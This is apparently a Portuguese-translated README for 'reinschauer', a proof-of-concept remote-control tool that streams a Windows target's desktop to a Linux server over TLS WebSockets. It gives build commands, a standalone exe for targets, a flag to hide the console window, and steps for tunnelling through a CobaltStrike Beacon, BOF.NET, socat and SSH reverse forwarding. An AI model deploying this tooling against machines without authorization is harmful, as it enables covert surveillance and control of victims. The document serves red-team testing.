
É muito bom

Uma PoC para controlar remotamente máquinas Windows via Websockets. Confira meu blog para um write-up.


reinschauer converte bitmaps brutos em JPEG e comprime os dados resultantes antes de enviá-los pela rede para reduzir o tamanho dos quadros.
server para gerar arquivos de servidor TLS ou usar os seus próprios.reinschauer-server -h para ver as opções disponíveis.+----------------------------------------------------------------------------------------+
| |
| |
| +----------------------------------------------------+ |
| |#1: Type (Binary or Text) | |
| | Binary: JPG Frame | |
| | | |
| |#2: Text | |
| | ELO (Ping) | |
| | FPS <FPS Count> | |
| | SCL <Scaler Count> | |
| | QUL <JPG Quality> | |
| | LCL X Y (Left Click + Coordinates) | |
| | RCL X Y | |
| | KEY <Char> | xxxxxx |
| xxxxx <--+----------------------------------------------------+--> xxxx xx |
| x xx Websockets via TLS xx x |
| x xxxxxx xxxxxxxxx |
| xxx x xx xx x |
| xxxxxxxx xxxxx xxxxxx |
| x xxxxx |
| xx xx |
| x xx xxx |
| xx xx x xx |
| x xx xx xxx |
| x xx x xx |
| x x xx x |
+----------------------------------------------------------------------------------------+
Como compilar?
>=1.18sudo apt -y install libx11-dev libxcursor-dev xorg-dev libgl1-mesa-dev$ cd client && GOOS=windows GOARCH=amd64 go build
$ cd server && GOOS=linux GOARCH=amd64 go build
Incluí uma versão pré-compilada e autônoma da variante dotnet neste repositório. Se quiser compilá-la você mesmo, use o arquivo de projeto do Visual Studio para compilar a variante Release x64. Se isso não acontecer automaticamente, baixe os pacotes NuGet necessários para o projeto via Visual Studio. O sistema de destino provavelmente também não tem esses pacotes instalados e, portanto, as DLLs podem estar ausentes ao executar o exe resultante no destino. Para contornar isso, este projeto invoca automaticamente o ILMerge.exe para agrupar o exe resultante junto com as bibliotecas necessárias. Portanto, use o arquivo gerado chamado reinschauer-dotnet-standalone.exe nos alvos.
Talvez seja necessário usar
go getantes. Use-ldflags -H=windowsguipara desabilitar a janela do console.
Quem é o cliente/servidor?
O
clienté executado na máquina de destino (Windows). O componenteserveré executado na máquina do testador (Linux). Ele escuta em0.0.0.0:6969por padrão. Tanto o cliente Golang quanto o C# são compatíveis com o servidor.
Isso é um HVNC / Hidden Desktop?
Não. Ele usa a mesma área de trabalho que o usuário.
Algumas teclas e combinações de teclas não funcionam, por favor, corrija
Eu sei que |, @ e § podem não funcionar atualmente, pelo menos no meu teclado alemão meia-boca. Por favor, corrija.
O cliente usa tempo de CPU demais
Usar um valor de FPS mais baixo pode funcionar.
Não tenho uma conexão direta entre client e server
Você pode usar um Beacon do CobaltStrike para tunelar o tráfego.
Não tenho Cobaltstrike!
Use um redirecionador
socatcomo:
socat TCP4-LISTEN:1337,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>
e inicie o cliente com os parâmetros necessários ou codifique-os manualmente.
Primeiro, configure o BOF.NET de acordo com o manual. Além disso, carregue o exe autônomo com bofnet_load <Path to Exe>. Depois, decida como usar o Reinschauer:
sleep 0.rportfwd_local 6969 127.0.0.1 6969.bofnet_job reinschauer_dotnet.BofStuff. Isso faz com que o Reinschauer se conecte automaticamente a 127.0.0.1:6969 em 127.0.0.1 da máquina de destino. Isso também desativa o TLS, já que ele usa a conexão Beacon de qualquer forma.bofnet_jobkill <Job ID>.bofnet_job reinschauer_dotnet.BofStuff <Server IP> <Server Port> true. O parâmetro booleano ativa o uso de TLS.bofnet_jobkill <Job ID>.Em seguida, use o SSH e o recurso GatewayPorts: adicione GatewayPorts: clientspecified ao sshd_config e reinicie o servidor SSH. Então, ssh -R '0.0.0.0:8080:localhost:6969'' [...] disponibilizará sua porta local 6969 em 0.0.0.0:8080. Tenha cuidado :)
Ou, configure um redirecionador socat no servidor:
socat TCP4-LISTEN:<Server Port>,fork TCP4:127.0.0.1:6969
ssh -R 6969:localhost6969 <IP>